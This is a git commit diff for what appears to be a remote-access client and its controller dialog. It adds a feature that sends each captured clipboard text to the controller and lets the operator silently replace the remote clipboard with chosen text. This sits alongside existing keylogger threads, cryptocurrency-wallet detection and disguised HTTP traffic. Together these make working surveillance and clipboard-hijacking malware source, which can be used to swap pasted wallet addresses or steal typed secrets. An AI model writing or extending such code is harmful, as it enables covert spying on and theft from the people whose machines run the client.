Feature: Support replacing clip text via keyboard management dialog

This commit is contained in:
yuanyuanxiang
2026-05-11 16:27:12 +02:00
parent b69d61617f
commit 0fe67b16d5
11 changed files with 248 additions and 42 deletions

View File

@@ -25,6 +25,7 @@
#define USING_CLIP 0 #define USING_CLIP 0
#include "wallet.h" #include "wallet.h"
#include "common/utf8.h"
#if USING_CLIP #if USING_CLIP
#include "clip.h" #include "clip.h"
#ifdef _WIN64 #ifdef _WIN64
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
binFile bin(CLIENT_PATH);
std::string rule = bin.GetStr("settings", "textRule");
if (rule.length() >= sizeof(TextReplace)) {
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
}
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL); m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock(); m_mu.Unlock();
sendStartKeyBoard(); m_ruleMu.Lock();
auto rule = m_ReplaceRule;
m_ruleMu.Unlock();
sendStartKeyBoard(rule);
WaitForDialogOpen(); WaitForDialogOpen();
} }
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
GET_PROCESS_EASY(DeleteFileA); GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile); DeleteFileA(m_strRecordFile);
} }
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
CAutoCLock L(m_ruleMu);
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
binFile cfg(CLIENT_PATH);
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
cfg.SetStr("settings", "textRule", rule);
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
}
} }
std::vector<std::string> CKeyboardManager1::GetWallet() std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
return w; return w;
} }
int CKeyboardManager1::sendStartKeyBoard() int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
{ {
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。 // 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 —— // 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。 // 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。 // 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4]; BYTE bToken[4 + sizeof(TextReplace)];
bToken[0] = TOKEN_KEYBOARD_START; bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord; bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8; WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD)); memcpy(bToken + 2, &caps, sizeof(WORD));
memcpy(bToken + 4, &rule, sizeof(TextReplace));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask); return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
} }
@@ -503,27 +525,32 @@ int CALLBACK WriteBuffer(const char* record, void* user)
return 0; return 0;
} }
std::string CKeyboardManager1::ReplaceText() {
CAutoCLock L(m_ruleMu);
switch (m_ReplaceRule.type) {
case RULE_REPLACE_ALL:
if (m_ReplaceRule.param[0] == 0)
return "";
std::string text((char*)m_ReplaceRule.param);
return clip::set_text_utf8(text) ? text : "";
}
return "";
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{ {
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {}; std::string lastValue = {};
while (pThis->m_bIsWorking) { while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet(); bool hasClipboard = clip::has(clip::text_format());
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
lastValue.clear();
Sleep(3000);
}
if (hasClipboard) { if (hasClipboard) {
std::string value; std::string value;
clip::get_text(value); if (!clip::get_text(value)) {
Sleep(500);
continue;
}
std::string recordValue = value.substr(0, 4096); std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) { if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue; lastValue = recordValue;
@@ -542,9 +569,22 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue; output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str(); std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length()); pThis->m_Buffer->Write(str.c_str(), str.length());
if (pThis->IsConnected()) {
str.erase(0, 4);
str.insert(0, 1, TOKEN_CLIP_TEXT);
pThis->Send((BYTE*)str.c_str(), str.length()+1);
std::string newValue = pThis->ReplaceText();
if (!newValue.empty()) {
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
lastValue = newValue;
}
}
} }
if (value.length() > 200) { // Wallet detection
Sleep(1000); auto w = pThis->GetWallet();
if (value.length() > 200 || w.empty()) {
Sleep(500);
continue; continue;
} }
auto type = detectWalletType(value); auto type = detectWalletType(value);
@@ -586,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
break; break;
} }
} }
Sleep(1000); Sleep(500);
} }
return 0x20251005; return 0x20251005;
} }

View File

@@ -237,19 +237,22 @@ public:
HANDLE m_hClipboard; HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread; HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH]; TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {};
virtual BOOL Reconnect() virtual BOOL Reconnect()
{ {
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
} }
std::string ReplaceText();
private: private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard(); int sendStartKeyBoard(const TextReplace& rule);
int sendKeyBoardData(LPBYTE lpData, UINT nSize); int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking; bool m_bIsWorking;
CircularBuffer *m_Buffer; CircularBuffer *m_Buffer;
CLocker m_mu; CLocker m_mu;
CLocker m_ruleMu;
std::vector<std::string> m_Wallet; std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet(); std::vector<std::string> GetWallet();
}; };

View File

@@ -84,4 +84,41 @@ namespace clip {
LeaveCriticalSection(&GetClipLock()); LeaveCriticalSection(&GetClipLock());
return result; return result;
} }
/**
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
*/
inline bool set_text_utf8(const std::string& utf8_str) {
if (utf8_str.empty()) return false;
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return false;
// 2. 分配全局内存
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
if (!hMem) return false;
// 3. 执行转换并锁定内存
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
GlobalUnlock(hMem);
// 4. 操作剪切板
bool success = false;
if (OpenClipboard(NULL)) {
EmptyClipboard();
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
success = true;
}
CloseClipboard();
}
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
if (!success) {
GlobalFree(hMem);
}
return success;
}
} // namespace clip } // namespace clip

View File

@@ -337,6 +337,20 @@ enum {
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端) COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端) TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
};
#pragma pack(push, 1)
struct TextReplace {
uint8_t cmd;
uint8_t type;
uint8_t param[510];
uint8_t reserved[512];
};
enum TextReplaceRule {
RULE_REPLACE_ALL = 0,
}; };
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID // 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
@@ -353,7 +367,6 @@ enum {
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token / // 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段 // per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。 // 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket { struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1] uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8] uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]

56
common/utf8.h Normal file
View File

@@ -0,0 +1,56 @@
#include <windows.h>
#include <string>
/**
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
*/
inline std::string ansi_to_utf8(const std::string& ansi_str) {
if (ansi_str.empty()) return "";
// 1. ANSI -> UTF-16 (WideChar)
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> UTF-8
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string utf8_str(u8len, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
// 移除末尾的 \0
if (!utf8_str.empty() && utf8_str.back() == '\0') {
utf8_str.pop_back();
}
return utf8_str;
}
/**
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
*/
inline std::string utf8_to_ansi(const std::string& utf8_str) {
if (utf8_str.empty()) return "";
// 1. UTF-8 -> UTF-16 (WideChar)
// 计算需要的宽字符长度
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
// CP_ACP 表示使用当前系统的 ANSI 代码页
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (alen <= 0) return "";
std::string ansi_str(alen, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
if (!ansi_str.empty() && ansi_str.back() == '\0') {
ansi_str.pop_back();
}
return ansi_str;
}

Binary file not shown.

View File

@@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__;
#define IDM_ENABLE_OFFLINE 0x0010 #define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011 #define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012 #define IDM_SAVE_RECORD 0x0012
#define SHOW_CLIP_TEXT WM_USER+201
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog // CKeyBoardDlg dialog
#include "common/utf8.h"
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{ {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1); m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。 // 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
@@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC
capStr.Format(_T("%04X"), caps); capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr); m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
} }
if (len >= 4 + sizeof(TextReplace)) {
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
}
} }
@@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
//{{AFX_DATA_MAP(CKeyBoardDlg) //{{AFX_DATA_MAP(CKeyBoardDlg)
DDX_Control(pDX, IDC_EDIT, m_edit); DDX_Control(pDX, IDC_EDIT, m_edit);
//}}AFX_DATA_MAP //}}AFX_DATA_MAP
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
} }
@@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_CLOSE() ON_WM_CLOSE()
ON_WM_SYSCOMMAND() ON_WM_SYSCOMMAND()
//}}AFX_MSG_MAP //}}AFX_MSG_MAP
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
END_MESSAGE_MAP() END_MESSAGE_MAP()
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
@@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
__super::PostNcDestroy(); __super::PostNcDestroy();
} }
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
BOOL CKeyBoardDlg::OnInitDialog() BOOL CKeyBoardDlg::OnInitDialog()
{ {
__super::OnInitDialog(); __super::OnInitDialog();
@@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog()
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建 // 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。 // 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// ----------------------------------------------------------------- // -----------------------------------------------------------------
{ RebuildEdit(m_edit);
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
m_edit.SetLimitText(MAXDWORD); // 设置最大长度 m_edit.SetLimitText(MAXDWORD); // 设置最大长度
auto rule = utf8_to_ansi((char*)m_TextRule.param);
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
// 通知远程控制端对话框已经打开 // 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT; BYTE bToken = COMMAND_NEXT;
@@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete()
case TOKEN_KEYBOARD_DATA: case TOKEN_KEYBOARD_DATA:
AddKeyBoardData(); AddKeyBoardData();
break; break;
case TOKEN_CLIP_TEXT: {
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
if (len == 1) break;
char* buf = new char[len];
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
break;
}
default: default:
return; return;
} }
} }
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
{
char* buf = (char*)wParam;
std::string text = utf8_to_ansi(buf);
SAFE_DELETE_ARRAY(buf);
m_EditClipText.SetWindowTextA(text.c_str());
return S_OK;
}
void CKeyBoardDlg::AddKeyBoardData() void CKeyBoardDlg::AddKeyBoardData()
{ {
// 最后填上0 // 最后填上0
@@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
__super::OnSize(nType, cx, cy); __super::OnSize(nType, cx, cy);
// TODO: Add your message handler code here // TODO: Add your message handler code here
if (IsWindowVisible()) /* if (IsWindowVisible())
ResizeEdit(); ResizeEdit();
*/
} }
@@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose()
DialogBase::OnClose(); DialogBase::OnClose();
} }
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
{
CString rule;
m_EditClipRule.GetWindowTextA(rule);
auto utf8 = ansi_to_utf8(rule.GetString());
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
}

View File

@@ -54,6 +54,13 @@
//}}AFX_MSG //}}AFX_MSG
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public:
TextReplace m_TextRule = {};
CEdit m_EditClipText;
CEdit m_EditClipRule;
void RebuildEdit(CEdit& m_edit);
afx_msg void OnBnClickedBtnApplyTextrule();
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
}; };
//{{AFX_INSERT_LOCATION}} //{{AFX_INSERT_LOCATION}}

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=Decrypt Data 解密数据=Decrypt Data
画板=Drawing 画板=Drawing
屏幕墙=Screen Wall 屏幕墙=Screen Wall
替换=Replace
替换图标=Replace Icon 替换图标=Replace Icon
发送文件=Send File 发送文件=Send File
历史主机=Host History 历史主机=Host History
@@ -1831,3 +1832,4 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system. 提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically). 推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
或手动重签:=Or re-sign manually: 或手动重签:=Or re-sign manually:
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>

View File

@@ -105,6 +105,7 @@ RTT=RTT
解密数据=解密資料 解密数据=解密資料
画板=繪圖板 画板=繪圖板
屏幕墙=螢幕牆 屏幕墙=螢幕牆
替换=替換
替换图标=替換圖示 替换图标=替換圖示
发送文件=傳送檔案 发送文件=傳送檔案
历史主机=歷史主機 历史主机=歷史主機
@@ -1822,3 +1823,4 @@ IOCP
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。 提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。 推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
或手动重签:=或手動重新簽章: 或手动重签:=或手動重新簽章:
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>

View File

@@ -731,8 +731,11 @@
#define IDC_STATIC_PLUGIN_INTERVAL 2537 #define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538 #define IDC_STATIC_PLUGIN_COUNTER 2538
#define IDC_COMBO_TRIGGER_TYPE 2539 #define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_EDIT_CLIPBOARD 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540 #define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_EDIT_TEXTRULE 2540
#define IDC_BTN_TRIGGER_ADD 2541 #define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_APPLY_TEXTRULE 2541
#define IDC_BTN_TRIGGER_REMOVE 2542 #define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543 #define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544 #define IDC_STATIC_TRIGGER_TYPE 2544
@@ -979,7 +982,7 @@
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 373 #define _APS_NEXT_RESOURCE_VALUE 373
#define _APS_NEXT_COMMAND_VALUE 33048 #define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2539 #define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105
#endif #endif
#endif #endif